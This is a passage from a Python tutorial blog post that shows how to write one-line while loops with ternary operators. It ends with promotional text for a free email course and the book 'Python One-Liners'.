However, there’s an easy fix to make this work. You can replace the if expression2: print('hi') part with a ternary operator and use an expression rather than a compound statement:

# Method 3: One-Line While Loop + Ternary Operator
while True: print('yes') if True else print('no')

You can also use nested ternary operators to account for possibly nested if blocks:

Python Ternary Elif

Related Video: One-Line For Loop

You can find out more about the single-line for loop in my detailed article here.

Where to Go From Here

Knowing small Python one-liner tricks such as the list comprehension and single-line for loops is vital for your success in the Python language. Every expert coder knows them by heart—after all, this is what makes them very productive.

If you want to learn the language Python by heart, join my free Python email course. It’s 100% based on free Python cheat sheets and Python lessons. It’s fun, easy, and you can leave anytime.

Python One-Liners Book

Python programmers will improve their computer science skills with these useful one-liners.

Python One-Liners

Python One-Liners will teach you how to read and write “one-liners”: concise statements of useful functionality packed into a single line of code. You’ll learn how to systematically unpack and understand any line of Python code, and write eloquent, powerfully compressed Python like an expert.

The book’s five chapters cover tips and tricks, regular expressions, machine learning, core data science topics, and useful algorithms. Detailed explanations of one-liners introduce key computer science concepts and boost your coding and analytical skills. You’ll learn about advanced Python features such as list comprehension, slicing, lambda functions, regular expressions, map and reduce functions, and slice assignments. You’ll also learn how to:

  Leverage data structures to solve real-world problems, like using Boolean indexing to find cities with above-average pollution
  Use NumPy basics such as array, shape, axis, type, broadcasting, advanced indexing, slicing, sorting, searching, aggregating, and statistics
  Calculate basic statistics of multidimensional data arrays and the K-Means algorithms for unsupervised learning
  Create more advanced regular expressions using grouping and named groups, negative lookaheads, escaped characters, whitespaces, character sets (and negative characters sets), and greedy/nongreedy operators
  Understand a wide range of computer science topics, including anagrams, palindromes, supersets, permutations, factorials, prime numbers, Fibonacci numbers, obfuscation, searching, and algorithmic sorting

By the end of the book, you’ll know how to write Python at its most refined, and create concise, beautiful pieces of “Python art” in merely a single line.

Get your Python One-Liners Now!!